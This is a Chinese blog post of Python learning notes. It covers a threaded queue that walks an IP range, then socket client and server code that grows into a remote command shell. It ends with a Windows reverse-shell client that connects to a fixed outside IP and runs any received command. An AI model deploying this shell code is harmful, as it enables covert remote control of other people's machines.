Python的Queue+Thread的使用 、shell的编写

来源:互联网 发布:steam黑客网络 编辑:程序博客网 时间:2024/05/14 22:08

生产者消费者模式
Queue模块

Import Queue

Queue = Queue.Queue()
For I in range(10):
Queue.put(i)

Queue.empty()判断是否为空

Queue.qsize() 返回其大小

取数据
Queue.get() get一次就取出一次

# -*- coding: utf-8 -*-import threadingimport Queue#继承一个线程类threading.Threadclass DoRun(threading.Thread):    #结构方法,初始化属性,传入一个队列    def __init__(self,queue):    #继承结构方法        threading.Thread.__init__(self)    #两个下划线表示私有变量            self.__queue= queue    def run(self):        #线程的方法run start后执行的每次都取        while not self.__queue.empty():            ip = self.__queue.get()            print ipdef main():    threads =[]    thread_count = 10    queue = Queue.Queue()    for i in range(1,255):        queue.put('106.42.25.'+str(i))    for i in range(thread_count):        threads.append(DoRun(queue))    for i in threads:        i.start()if __name__ == '__main__':    main()

这里写图片描述

这么写确实快

利用Queue和线程实现生产者和消费者模式。恩,可以改善我之前的代码。加快很多。

SHELL

简单的cs模式
Server

from socket import *from time import ctimeHOST=''PORT = 2333BUFSIZE=1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)tcpServer.bind(ADDR)tcpServer.listen(5)while True:    print 'wait for connection...'    tcpClient,addr = tcpServer.accept()    print '..connected from :'+str(addr)    while True:        data = tcpClient.recv(BUFSIZE)        if not data:            break;        tcpClient.send('[%s]%s '%(ctime(),data))tcpClient.close()tcpServer.close

client

from socket import *from time import ctimeHOST ='127.0.0.1'PORT =2333BUFSIZE=1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)tcpClient.connect(ADDR)while True:    data = raw_input('~:')    if not data:        break    tcpClient.send(data)    data = tcpClient.recv(BUFSIZE)    if not data:        break    print datatcpClient.close()

更改为可以操作shell命令
server

#!/usr/local/bin/pythonfrom socket import *from time import ctimefrom subprocess import Popen,PIPEdef main():    HOST=''    PORT = 2333    BUFSIZE=1024    ADDR = (HOST,PORT)    tcpServer = socket(AF_INET,SOCK_STREAM)    tcpServer.bind(ADDR)    tcpServer.listen(5)    while True:        print 'wait for connection...'        tcpClient,addr = tcpServer.accept()        print '..connected from :'+str(addr)        while True:            data = tcpClient.recv(BUFSIZE)            if not data:                break;            cmd =Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)            data = cmd.stdout.read()            tcpClient.send('[%s]%s '%(ctime(),data))    tcpClient.close()    tcpServer.closeif __name__ == '__main__':    main()

client

from socket import *from time import ctimeHOST ='123.206.15.80'PORT =2333BUFSIZE=1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)tcpClient.connect(ADDR)while True:    data = raw_input('~:')    if not data:        break    tcpClient.send(data)    data = tcpClient.recv(BUFSIZE)    if not data:        break    print datatcpClient.close()

让winodws作为客户端连接我的服务器。服务器一直监听

#windows-shellfrom socket import *from time import ctime# from subprocess import Popen,PIPEimport osHOST ='123.206.15.80'PORT =2333BUFSIZE=1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)tcpClient.connect(ADDR)while True:    try:        data = tcpClient.recv(BUFSIZE)        cmd =os.popen(data)        data = cmd.read()        print data        tcpClient.send('[%s]%s '%(ctime(),data))    except:        passtcpClient.close()

linux下运行

#!/usr/local/bin/pythonfrom socket import *from time import ctimedef main():    HOST='123.206.15.80'    PORT = 2333    BUFSIZE=1024    ADDR = (HOST,PORT)    tcpServer = socket(AF_INET,SOCK_STREAM)    tcpServer.bind(ADDR)    tcpServer.listen(5)    while True:        try:            print 'wait for connection...'            tcpClient,addr = tcpServer.accept()            print '..connected from :'+str(addr)            while True:                data = raw_input('~:')                if data=='quit':                    tcpClient.close()                    tcpServer.close                if data != "":                    tcpClient.send(data)                    data = tcpClient.recv(BUFSIZE)                    if not data:                        break                    print data.decode('gbk').encode('utf-8')        except:            pass    tcpClient.close()    tcpServer.closeif __name__ == '__main__':    main()

这里写图片描述

这里写图片描述

反弹shell编写
http://blog.csdn.net/magicbreaker/article/details/2006972
https://www.waitalone.cn/linux-shell-rebound-under-way.html

0 0